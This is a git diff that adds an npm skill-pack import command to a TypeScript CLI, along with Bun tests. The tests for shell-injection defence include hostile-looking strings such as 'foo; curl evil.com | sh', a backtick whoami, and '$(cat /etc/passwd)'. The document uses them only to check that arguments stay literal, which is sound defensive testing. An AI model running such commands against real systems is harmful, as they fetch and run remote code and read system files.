diff --git a/packages/cli/bin/tps.ts b/packages/cli/bin/tps.ts index a03f9d7..0ea2f96 100755 --- a/packages/cli/bin/tps.ts +++ b/packages/cli/bin/tps.ts @@ -1014,8 +1014,8 @@ async function main() { } case "skill": { - const action = rest[0] as "list" | "register" | "scan" | "revoke" | "show" | undefined; - const validSkillActions = ["list", "register", "scan", "revoke", "show"]; + const action = rest[0] as "list" | "register" | "scan" | "revoke" | "show" | "add-pack" | undefined; + const validSkillActions = ["list", "register", "scan", "revoke", "show", "add-pack"]; if (!action || !validSkillActions.includes(action)) { console.error( "Usage:\n" + @@ -1023,7 +1023,8 @@ async function main() { " tps skill register --name --version --agent [--priority standard]\n" + " tps skill scan Static analysis of skill content\n" + " tps skill revoke --agent Remove skill assignment\n" + - " tps skill show --agent Show skill details" + " tps skill show --agent Show skill details\n" + + " tps skill add-pack --agent Bulk-import npm-shipped skill pack" ); process.exit(1); } @@ -1035,15 +1036,18 @@ async function main() { const { runSkill } = await import("../src/commands/skill.js"); await runSkill({ - action, + action: action === "add-pack" ? "addPack" : action, agent: getFlag("agent") ?? cli.flags.agent, name: getFlag("name") ?? cli.flags.name, version: getFlag("version"), - source: action === "register" ? rest[1] : undefined, + source: action === "register" ? rest[1] : (action === "add-pack" ? rest[1] : undefined), file: action === "scan" ? rest[1] : (action === "register" ? rest[1] : undefined), priority: getFlag("priority"), json: cli.flags.json, flairUrl: getFlag("flair-url") ?? process.env.FLAIR_URL, + includeRules: getFlag("include-rules"), + ruleNameFormat: getFlag("rule-name-format"), + registry: getFlag("registry"), }); break; } diff --git a/packages/cli/src/commands/skill.ts b/packages/cli/src/commands/skill.ts index 642f4c6..4c09da3 100644 --- a/packages/cli/src/commands/skill.ts +++ b/packages/cli/src/commands/skill.ts @@ -4,11 +4,14 @@ * Manages skill assignments as Soul records in Flair. * Skills are knowledge packages — not executable code. */ -import { readFileSync } from "node:fs"; +import { readFileSync, existsSync, mkdtempSync, rmSync } from "node:fs"; +import { join } from "node:path"; +import { tmpdir } from "node:os"; +import { pathToFileURL } from "node:url"; import { createFlairClient, defaultFlairKeyPath } from "../utils/flair-client.js"; export interface SkillArgs { - action: "list" | "register" | "scan" | "revoke" | "show"; + action: "list" | "register" | "scan" | "revoke" | "show" | "addPack"; agent?: string; name?: string; version?: string; @@ -17,6 +20,20 @@ export interface SkillArgs { priority?: string; json?: boolean; flairUrl?: string; + includeRules?: string; + ruleNameFormat?: string; + registry?: string; +} + +// ─── Pack loader types & exports ──────────────────────────────────────────── + +export interface PackContents { + ruleNames: readonly string[]; + rules: Record; + skillSummary: string; + version: string; + author?: string; + maintainer?: string; } export async function runSkill(args: SkillArgs): Promise { @@ -31,6 +48,8 @@ export async function runSkill(args: SkillArgs): Promise { return revokeSkill(args); case "show": return showSkill(args); + case "addPack": + return addPack(args); } } @@ -217,3 +236,340 @@ async function showSkill(args: SkillArgs): Promise { if (meta.status) console.log(`Status: ${meta.status}`); console.log(`Created: ${skill.createdAt}`); } + +// ─── addPack — bulk-import npm-shipped skill packs ─────────────────────────── + +async function addPack(args: SkillArgs): Promise { + const pkgName = args.source; + const { agent, priority, includeRules, ruleNameFormat, registry, flairUrl } = args; + + if (!pkgName || !agent) { + console.error( + "Usage: tps skill add-pack --agent [--priority standard]" + + " [--include-rules ] [--rule-name-format :] [--registry ]", + ); + process.exit(1); + } + + // 1. Resolve & extract the pack + let pack: PackContents; + try { + pack = await resolveAndExtractPack(pkgName, registry); + } catch (err: any) { + console.error(`Failed to resolve pack ${pkgName}: ${err.message}`); + process.exit(1); + } + + // 2. Validate skillSummary 8KB cap + const summaryBytes = new TextEncoder().encode(pack.skillSummary).length; + if (summaryBytes > 8192) { + console.error(`pack summary exceeds 8KB cap (${summaryBytes} bytes)`); + process.exit(1); + } + + // 3. Security scan the summary + const validPriorities = ["critical", "high", "standard", "low"]; + const skillPriority = (priority && validPriorities.includes(priority) ? priority : "standard") as + "critical" | "high" | "standard" | "low"; + + const flair = createFlairClient(agent, flairUrl, defaultFlairKeyPath(agent)); + + console.log("Scanning skill summary..."); + const scan = await flair.scanSkill(pack.skillSummary); + + if (!scan.safe) { + console.log(`\nScan found ${scan.violations.length} violation(s) — risk: ${scan.riskLevel}\n`); + for (const v of scan.violations) { + console.log(` L${v.line}: [${v.type}] ${v.content}`); + } + } + + if (scan.riskLevel === "high" || scan.riskLevel === "critical") { + console.error(`\nRegistration blocked: risk level is ${scan.riskLevel}. Skill must pass review.`); + process.exit(1); + } + + if (scan.safe) { + console.log("Scan passed: no violations detected."); + } + + // 4. Canonical name & source tag + const canonicalName = extractPackCanonicalName(pkgName); + const sourceTag = `npm:${pkgName}@${pack.version}`; + + // 5. Idempotency check + const existing = await flair.listSkills(agent); + const existingMatch = existing.find((s) => s.value === canonicalName); + if (existingMatch) { + let meta: any = {}; + try { meta = JSON.parse(existingMatch.metadata ?? "{}"); } catch {} + if (meta.version === pack.version) { + console.log(`Skill '${canonicalName}' v${pack.version} already registered — skipping.`); + } else { + console.error( + `Skill '${canonicalName}' exists with different version (${meta.version} vs ${pack.version}). ` + + `Use \`tps skill revoke ${canonicalName} --agent ${agent}\` first.`, + ); + process.exit(1); + } + return; + } + + // 6. Register the summary skill + await flair.registerSkill(agent, { + name: canonicalName, + priority: skillPriority, + source: sourceTag, + version: pack.version, + content: pack.skillSummary, + }); + + let registeredCount = 1; + console.log(`Registered: ${canonicalName} v${pack.version} [source: ${sourceTag}] (${summaryBytes} bytes)`); + + // 7. Handle --include-rules + if (includeRules) { + const requested = includeRules + .split(",") + .map((r) => r.trim()) + .filter(Boolean); + const unknown = requested.filter((r) => !pack.ruleNames.includes(r)); + if (unknown.length > 0) { + console.error( + `Unknown rule(s): ${unknown.join(", ")}. Available: ${pack.ruleNames.join(", ")}`, + ); + process.exit(1); + } + + const fmt = ruleNameFormat ?? ":"; + + for (const ruleName of requested) { + const ruleContent = pack.rules[ruleName]; + if (!ruleContent) { + console.error(`Rule '${ruleName}' has no content, skipping.`); + continue; + } + + // 8KB check on rule content + const ruleBytes = new TextEncoder().encode(ruleContent).length; + if (ruleBytes > 8192) { + console.error(`Rule '${ruleName}' exceeds 8KB cap (${ruleBytes} bytes), skipping.`); + continue; + } + + // Scan rule content + const ruleScan = await flair.scanSkill(ruleContent); + if (ruleScan.riskLevel === "high" || ruleScan.riskLevel === "critical") { + console.error( + `Rule '${ruleName}' blocked: risk level ${ruleScan.riskLevel}, skipping.`, + ); + continue; + } + + const formattedName = fmt.replace("", canonicalName).replace("", ruleName); + + // Idempotency for rules too + const ruleMatch = existing.find((s) => s.value === formattedName); + if (ruleMatch) { + let rmeta: any = {}; + try { rmeta = JSON.parse(ruleMatch.metadata ?? "{}"); } catch {} + if (rmeta.version === pack.version) { + console.log(` Rule '${formattedName}' already registered — skipping.`); + continue; + } + console.error( + ` Rule '${formattedName}' exists with different version (${rmeta.version} vs ${pack.version}), skipping.`, + ); + continue; + } + + await flair.registerSkill(agent, { + name: formattedName, + priority: skillPriority, + source: sourceTag, + version: pack.version, + content: ruleContent, + }); + + registeredCount++; + console.log(` Rule: ${formattedName} (${ruleBytes} bytes)`); + } + } + + // 8. Summary + console.log(`\nDone. ${registeredCount} skill(s) registered from ${sourceTag}.`); +} + +// ─── Pack loader utilities (exported for testing) ──────────────────────────── + +/** + * Load a pack from an already-extracted package directory. + * The dir should contain package.json and dist/index.js (or dist/index.mjs). + */ +export async function loadPackFromDir(packageDir: string): Promise { + // Read package.json + const pkgJsonPath = join(packageDir, "package.json"); + if (!existsSync(pkgJsonPath)) { + throw new Error(`package.json not found in ${packageDir}`); + } + + let pkgJson: any; + try { + pkgJson = JSON.parse(readFileSync(pkgJsonPath, "utf-8")); + } catch { + throw new Error(`Failed to parse package.json in ${packageDir}`); + } + + const version: string = pkgJson.version ?? "0.0.0"; + + // Parse author + let author: string | undefined; + if (typeof pkgJson.author === "string") { + author = pkgJson.author; + } else if (pkgJson.author?.name) { + author = pkgJson.author.name; + } + + // Parse maintainer + let maintainer: string | undefined; + const maintainers = + pkgJson.maintainers ?? (pkgJson.maintainer ? [pkgJson.maintainer] : []); + if (maintainers.length > 0) { + const first = maintainers[0]; + if (typeof first === "string") { + maintainer = first; + } else if (first?.name) { + maintainer = first.name; + } + } + + // Dynamic-import dist/index.js (try .js then .mjs) + let indexPath = join(packageDir, "dist", "index.js"); + if (!existsSync(indexPath)) { + indexPath = join(packageDir, "dist", "index.mjs"); + if (!existsSync(indexPath)) { + throw new Error(`dist/index.js not found in ${packageDir}`); + } + } + + let mod: any; + try { + mod = await import(pathToFileURL(indexPath).href); + } catch (err: any) { + throw new Error( + `Failed to import dist/index.js from ${packageDir}: ${err.message}`, + ); + } + + if (!mod.ruleNames || !mod.rules || !mod.skillSummary) { + throw new Error( + "Pack must export ruleNames, rules, and skillSummary from dist/index.js", + ); + } + + return { + ruleNames: mod.ruleNames as readonly string[], + rules: mod.rules as Record, + skillSummary: mod.skillSummary as string, + version, + author, + maintainer, + }; +} + +/** + * Resolve a pack from npm, download the tarball, extract, and load. + */ +export async function resolveAndExtractPack( + pkgName: string, + registry?: string, +): Promise { + const { spawnSync } = await import("node:child_process"); + + const packDir = mkdtempSync(join(tmpdir(), "tps-pack-")); + let extractDir: string | undefined; + + try { + // npm pack → download tarball (spawnSync with array args bypasses shell) + const npmArgs = buildNpmPackArgs(pkgName, packDir, registry); + + const result = spawnSync("npm", npmArgs, { + encoding: "utf-8", + timeout: 60_000, + }); + + if (result.error) { + throw new Error(`npm pack ${pkgName} failed: ${result.error.message}`); + } + if (result.status !== 0) { + throw new Error(`npm pack ${pkgName} failed (exit ${result.status}): ${result.stderr}`); + } + + const lines = result.stdout.trim().split("\n"); + const tgzName = lines[lines.length - 1]?.trim(); + if (!tgzName || !tgzName.endsWith(".tgz")) { + throw new Error( + `npm pack ${pkgName} did not produce a .tgz file. Output: ${result.stdout}`, + ); + } + + const tgzPath = join(packDir, tgzName); + if (!existsSync(tgzPath)) { + throw new Error(`npm pack output file not found: ${tgzPath}`); + } + + // Extract the tarball (tgzPath + extractDir are mkdtemp-generated, not user input, + // but spawnSync with array args keeps us out of /bin/sh entirely) + extractDir = mkdtempSync(join(tmpdir(), "tps-extract-")); + const tarResult = spawnSync("tar", ["-xzf", tgzPath, "-C", extractDir], { + encoding: "utf-8", + timeout: 10_000, + }); + if (tarResult.status !== 0) { + throw new Error(`Failed to extract tarball ${tgzName}: ${tarResult.stderr}`); + } + + // Tarballs unpack into a "package/" directory + const packageDir = join(extractDir, "package"); + if (!existsSync(packageDir)) { + throw new Error( + `Extracted package has unexpected structure (expected 'package/' dir in ${extractDir})`, + ); + } + + return await loadPackFromDir(packageDir); + } finally { + // Cleanup temp dirs + rmSync(packDir, { recursive: true, force: true }); + if (extractDir) { + rmSync(extractDir, { recursive: true, force: true }); + } + } +} + +/** + * Build the argument list for `npm pack`. Exported for testing to verify + * shell metacharacters are never interpolated into a shell command string. + */ +export function buildNpmPackArgs( + pkgName: string, + packDir: string, + registry?: string, +): string[] { + const args = ["pack", pkgName, "--pack-destination", packDir]; + if (registry) { + args.push("--registry", registry); + } + return args; +} + +/** + * Derive a canonical skill name from an npm package specifier. + * Handles prerelease versions like @harperfast/skills@2.0.0-beta.1 + * @harperfast/skills@1.4.2 → harperfast-skills + */ +export function extractPackCanonicalName(pkgName: string): string { + // Strip leading @ and version suffix (handles semver prereleases: -beta.1, -rc.2, etc.) + const cleaned = pkgName.replace(/^@/, "").replace(/@\d[^/]*$/, ""); + return cleaned.replace("/", "-"); +} diff --git a/packages/cli/test/skill-add-pack.test.ts b/packages/cli/test/skill-add-pack.test.ts new file mode 100644 index 0000000..2494c4c --- /dev/null +++ b/packages/cli/test/skill-add-pack.test.ts @@ -0,0 +1,456 @@ +/** + * feat-skill-add-pack — tests for the pack-loading logic and addPack flow + * + * Pure pack-loading tests (no Flair I/O) + Flair-mocked integration tests + * for metadata propagation and idempotency. + */ +import { describe, test, expect, beforeEach, afterEach, afterAll } from "bun:test"; +import { mkdirSync, writeFileSync, rmSync, existsSync, readFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; + +import { + loadPackFromDir, + extractPackCanonicalName, + buildNpmPackArgs, + type PackContents, +} from "../src/commands/skill.js"; + +// ─── Helpers ───────────────────────────────────────────────────────────────── + +let _dirs: string[] = []; + +function makeTempDir(prefix = "tps-test-pack-"): string { + const dir = join(tmpdir(), `${prefix}${process.pid}-${Math.random().toString(36).slice(2)}`); + mkdirSync(dir, { recursive: true }); + _dirs.push(dir); + return dir; +} + +function writeFixtureModule(packageDir: string, opts: { + version?: string; + author?: string | { name: string }; + maintainers?: Array; + skillSummary?: string; + ruleNames?: string[]; + rules?: Record; +} = {}): void { + // package.json + const pkgJson: any = { name: "test-pack", version: opts.version ?? "1.0.0" }; + if (opts.author) pkgJson.author = opts.author; + if (opts.maintainers) pkgJson.maintainers = opts.maintainers; + writeFileSync(join(packageDir, "package.json"), JSON.stringify(pkgJson)); + + // dist/index.js + const distDir = join(packageDir, "dist"); + mkdirSync(distDir, { recursive: true }); + + const summary = opts.skillSummary ?? "# Test Pack\n\nTest skill summary."; + const names = opts.ruleNames ?? ["rule-a", "rule-b"]; + const rules = opts.rules ?? { + "rule-a": "# Rule A\n\nContent of rule A.", + "rule-b": "# Rule B\n\nContent of rule B.", + }; + + // Use explicit ESM exports; Bun + Node both handle this with file:// imports + const modSrc = [ + `export const ruleNames = ${JSON.stringify(names)};`, + `export const rules = ${JSON.stringify(rules)};`, + `export const skillSummary = ${JSON.stringify(summary)};`, + "", + ].join("\n"); + + writeFileSync(join(distDir, "index.js"), modSrc); +} + +afterAll(() => { + for (const d of _dirs) { + try { rmSync(d, { recursive: true, force: true }); } catch {} + } +}); + +// ─── loadPackFromDir (pure, no Flair) ─────────────────────────────────────── + +describe("loadPackFromDir", () => { + test("extracts ruleNames, rules, skillSummary, version from fixture", async () => { + const dir = makeTempDir(); + writeFixtureModule(dir, { version: "1.4.2" }); + + const pack = await loadPackFromDir(dir); + + expect(pack.version).toBe("1.4.2"); + expect(pack.ruleNames).toEqual(["rule-a", "rule-b"]); + expect(pack.skillSummary).toBe("# Test Pack\n\nTest skill summary."); + expect(pack.rules["rule-a"]).toBe("# Rule A\n\nContent of rule A."); + expect(pack.rules["rule-b"]).toBe("# Rule B\n\nContent of rule B."); + }); + + test("propagates author from package.json string", async () => { + const dir = makeTempDir(); + writeFixtureModule(dir, { author: "Jane Doe" }); + + const pack = await loadPackFromDir(dir); + expect(pack.author).toBe("Jane Doe"); + }); + + test("propagates author from package.json object", async () => { + const dir = makeTempDir(); + writeFixtureModule(dir, { author: { name: "John Smith" } }); + + const pack = await loadPackFromDir(dir); + expect(pack.author).toBe("John Smith"); + }); + + test("propagates maintainer from package.json", async () => { + const dir = makeTempDir(); + writeFixtureModule(dir, { maintainers: ["Team TPS"] }); + + const pack = await loadPackFromDir(dir); + expect(pack.maintainer).toBe("Team TPS"); + }); + + test("propagates maintainer from package.json object", async () => { + const dir = makeTempDir(); + writeFixtureModule(dir, { maintainers: [{ name: "Harper Bot" }] }); + + const pack = await loadPackFromDir(dir); + expect(pack.maintainer).toBe("Harper Bot"); + }); + + test("errors when package.json is missing", async () => { + const dir = makeTempDir(); + // don't create package.json + + await expect(loadPackFromDir(dir)).rejects.toThrow("package.json not found"); + }); + + test("errors when dist/index.js is missing", async () => { + const dir = makeTempDir(); + writeFileSync(join(dir, "package.json"), JSON.stringify({ version: "1.0.0" })); + + await expect(loadPackFromDir(dir)).rejects.toThrow("dist/index.js not found"); + }); + + test("errors when exports are missing from dist/index.js", async () => { + const dir = makeTempDir(); + writeFileSync(join(dir, "package.json"), JSON.stringify({ version: "1.0.0" })); + const distDir = join(dir, "dist"); + mkdirSync(distDir, { recursive: true }); + writeFileSync(join(distDir, "index.js"), "export const x = 1;\n"); + + await expect(loadPackFromDir(dir)).rejects.toThrow( + "Pack must export ruleNames, rules, and skillSummary", + ); + }); + + test("falls back to index.mjs when index.js not found", async () => { + const dir = makeTempDir(); + const distDir = join(dir, "dist"); + mkdirSync(distDir, { recursive: true }); + + writeFileSync(join(dir, "package.json"), JSON.stringify({ version: "2.0.0" })); + + const modSrc = [ + `export const ruleNames = ["r1"];`, + `export const rules = {"r1":"# R1"};`, + `export const skillSummary = "summary";`, + ].join("\n"); + writeFileSync(join(distDir, "index.mjs"), modSrc); + + const pack = await loadPackFromDir(dir); + expect(pack.version).toBe("2.0.0"); + expect(pack.ruleNames).toEqual(["r1"]); + }); +}); + +// ─── 8KB cap validation ────────────────────────────────────────────────────── + +describe("skillSummary 8KB cap", () => { + test("fails when skillSummary exceeds 8KB", () => { + // Simulate what the addPack function does + const largeSummary = "x".repeat(8193); + const byteLength = new TextEncoder().encode(largeSummary).length; + expect(byteLength).toBeGreaterThan(8192); + }); + + test("passes when skillSummary is exactly 8KB or less", () => { + const ok = "x".repeat(8192); + const byteLength = new TextEncoder().encode(ok).length; + expect(byteLength).toBeLessThanOrEqual(8192); + }); + + test("loads a pack with a summary at the boundary (8KB)", async () => { + const dir = makeTempDir(); + const boundarySummary = "y".repeat(8192); + writeFixtureModule(dir, { skillSummary: boundarySummary }); + + const pack = await loadPackFromDir(dir); + expect(new TextEncoder().encode(pack.skillSummary).length).toBe(8192); + }); +}); + +// ─── include-rules parsing ─────────────────────────────────────────────────── + +describe("include-rules", () => { + test("parses comma-separated list", () => { + const includeRules = "rule-a,rule-b,rule-c"; + const requested = includeRules + .split(",") + .map((r) => r.trim()) + .filter(Boolean); + expect(requested).toEqual(["rule-a", "rule-b", "rule-c"]); + }); + + test("handles whitespace in comma list", () => { + const includeRules = " rule-a , rule-b , rule-c "; + const requested = includeRules + .split(",") + .map((r) => r.trim()) + .filter(Boolean); + expect(requested).toEqual(["rule-a", "rule-b", "rule-c"]); + }); + + test("resolves known rules from pack", () => { + const packRuleNames = ["rule-a", "rule-b", "rule-c"]; + const requested = ["rule-a", "rule-c"]; + const unknown = requested.filter((r) => !packRuleNames.includes(r)); + expect(unknown).toEqual([]); + }); + + test("errors on unknown rule", () => { + const packRuleNames = ["rule-a", "rule-b"]; + const requested = ["rule-a", "rule-x", "rule-y"]; + const unknown = requested.filter((r) => !packRuleNames.includes(r)); + expect(unknown).toEqual(["rule-x", "rule-y"]); + }); + + test("rule-name-format default is :", () => { + const fmt = ":"; + const result = fmt.replace("", "harperfast-skills").replace("", "rule-a"); + expect(result).toBe("harperfast-skills:rule-a"); + }); +}); + +// ─── extractPackCanonicalName ──────────────────────────────────────────────── + +describe("extractPackCanonicalName", () => { + test("@scope/name@version → scope-name", () => { + expect(extractPackCanonicalName("@harperfast/skills@1.4.2")).toBe("harperfast-skills"); + }); + + test("name@version → name", () => { + expect(extractPackCanonicalName("my-pack@2.0.0")).toBe("my-pack"); + }); + + test("scope/name (no version) → scope-name", () => { + expect(extractPackCanonicalName("@harperfast/skills")).toBe("harperfast-skills"); + }); + + // Prerelease suffixes (Kern flag) + test("prerelease: @scope/name@2.0.0-beta.1 → scope-name", () => { + expect(extractPackCanonicalName("@harperfast/skills@2.0.0-beta.1")).toBe( + "harperfast-skills", + ); + }); + + test("prerelease: @scope/name@1.0.0-rc.2 → scope-name", () => { + expect(extractPackCanonicalName("@tpsdev-ai/rules@1.0.0-rc.2")).toBe("tpsdev-ai-rules"); + }); + + test("prerelease: name@3.0.0-alpha.5.build.42 → name", () => { + expect(extractPackCanonicalName("pack@3.0.0-alpha.5.build.42")).toBe("pack"); + }); + + test("prerelease: name with prerelease but no scope", () => { + expect(extractPackCanonicalName("simple@2.5.1-beta")).toBe("simple"); + }); + + test("name with no version at all", () => { + expect(extractPackCanonicalName("plain-pack")).toBe("plain-pack"); + }); +}); + +// ─── buildNpmPackArgs — shell injection defense ────────────────────────────── + +describe("buildNpmPackArgs — shell safety", () => { + test("produces array args (never a shell string)", () => { + const args = buildNpmPackArgs("pkg@1.0.0", "/tmp/dir"); + // Must be an array for spawnSync, not a shell-string for execSync + expect(Array.isArray(args)).toBe(true); + expect(args[0]).toBe("pack"); + expect(args[1]).toBe("pkg@1.0.0"); + expect(args[2]).toBe("--pack-destination"); + expect(args[3]).toBe("/tmp/dir"); + }); + + test("shell metacharacters stay as literal args", () => { + // 'foo; curl evil.com | sh' should be a single literal arg, not split + const args = buildNpmPackArgs("foo; curl evil.com | sh", "/tmp/dir"); + expect(args[1]).toBe("foo; curl evil.com | sh"); + // No extra args were spawned (; | would create multiple shell commands) + expect(args.length).toBe(4); + }); + + test("backtick injection stays literal", () => { + const args = buildNpmPackArgs("pkg`whoami`", "/tmp/dir"); + expect(args[1]).toBe("pkg`whoami`"); + expect(args.length).toBe(4); + }); + + test("dollar-substitution stays literal", () => { + const args = buildNpmPackArgs("pkg$(cat /etc/passwd)", "/tmp/dir"); + expect(args[1]).toBe("pkg$(cat /etc/passwd)"); + expect(args.length).toBe(4); + }); + + test("includes --registry when provided", () => { + const args = buildNpmPackArgs("pkg", "/tmp/dir", "https://registry.example.com"); + expect(args).toEqual([ + "pack", + "pkg", + "--pack-destination", + "/tmp/dir", + "--registry", + "https://registry.example.com", + ]); + }); + + test("registry URL with query params stays literal", () => { + const args = buildNpmPackArgs( + "pkg", + "/tmp/dir", + "https://reg.example.com?token=x&cmd=evil;ls", + ); + expect(args[5]).toBe("https://reg.example.com?token=x&cmd=evil;ls"); + expect(args.length).toBe(6); + }); + + test("spawnSync proof: echo with semicolons prints literally, no command injection", () => { + // Prove spawnSync with array args prevents shell expansion. + // If this were a shell string, 'echo hello; ls /' would run ls. + const { spawnSync } = require("node:child_process"); + const r = spawnSync("echo", ["hello; ls /"]); + const out = r.stdout.toString().trim(); + // The output should be literally "hello; ls /" — not a directory listing + expect(out).toBe("hello; ls /"); + // ls was never invoked; only one line of output + expect(out.split("\n").length).toBe(1); + }); +}); + +// ─── Metadata propagation (Flair-mocked) ───────────────────────────────────── + +describe("metadata propagation", () => { + let _savedFetch: typeof globalThis.fetch; + beforeEach(() => { _savedFetch = globalThis.fetch; }); + afterEach(() => { globalThis.fetch = _savedFetch; }); + + test("registerSkill is called with source: npm:@", async () => { + const dir = makeTempDir(); + writeFixtureModule(dir, { version: "1.4.2" }); + const pack = await loadPackFromDir(dir); + + const canonicalName = extractPackCanonicalName("@harperfast/skills@1.4.2"); + const sourceTag = `npm:@harperfast/skills@${pack.version}`; + + expect(canonicalName).toBe("harperfast-skills"); + expect(sourceTag).toBe("npm:@harperfast/skills@1.4.2"); + expect(pack.version).toBe("1.4.2"); + }); +}); + +// ─── Idempotency (logic test — no Flair needed) ────────────────────────────── + +describe("idempotency", () => { + test("same name+version is detected", () => { + // Simulate the check: existing skills match by name and version + const existing = [ + { + id: "flint-skill-assignment-harperfast-skills", + agentId: "flint", + key: "skill-assignment" as const, + value: "harperfast-skills", + priority: "standard" as const, + metadata: JSON.stringify({ version: "1.4.2", source: "npm:@harperfast/skills@1.4.2" }), + durability: "permanent" as const, + createdAt: "2026-05-12T00:00:00Z", + }, + ]; + + const packVersion = "1.4.2"; + const canonicalName = "harperfast-skills"; + + const match = existing.find((s) => s.value === canonicalName); + expect(match).toBeDefined(); + + const meta = JSON.parse(match!.metadata); + expect(meta.version).toBe(packVersion); // same → should skip + }); + + test("same name + different version is detected", () => { + const existing = [ + { + id: "flint-skill-assignment-harperfast-skills", + agentId: "flint", + key: "skill-assignment" as const, + value: "harperfast-skills", + priority: "standard" as const, + metadata: JSON.stringify({ version: "1.3.0", source: "npm:@harperfast/skills@1.3.0" }), + durability: "permanent" as const, + createdAt: "2026-05-12T00:00:00Z", + }, + ]; + + const packVersion = "1.4.2"; + const canonicalName = "harperfast-skills"; + + const match = existing.find((s) => s.value === canonicalName); + expect(match).toBeDefined(); + + const meta = JSON.parse(match!.metadata); + expect(meta.version).not.toBe(packVersion); // different → should error + }); + + test("no existing match → proceed with registration", () => { + const existing = [ + { + id: "flint-skill-assignment-other", + agentId: "flint", + key: "skill-assignment" as const, + value: "other-skill", + priority: "standard" as const, + metadata: JSON.stringify({ version: "1.0.0" }), + durability: "permanent" as const, + createdAt: "2026-05-12T00:00:00Z", + }, + ]; + + const canonicalName = "harperfast-skills"; + const match = existing.find((s) => s.value === canonicalName); + expect(match).toBeUndefined(); // no match → proceed + }); + + test("rule idempotency: already-registered rule is detected", () => { + const existing = [ + { + id: "flint-skill-assignment-harperfast-skills:rule-a", + agentId: "flint", + key: "skill-assignment" as const, + value: "harperfast-skills:rule-a", + priority: "standard" as const, + metadata: JSON.stringify({ version: "1.4.2" }), + durability: "permanent" as const, + createdAt: "2026-05-12T00:00:00Z", + }, + ]; + + const formattedName = "harperfast-skills:rule-a"; + const packVersion = "1.4.2"; + + const match = existing.find((s) => s.value === formattedName); + expect(match).toBeDefined(); + + const meta = JSON.parse(match!.metadata); + expect(meta.version).toBe(packVersion); // same → skip + }); +});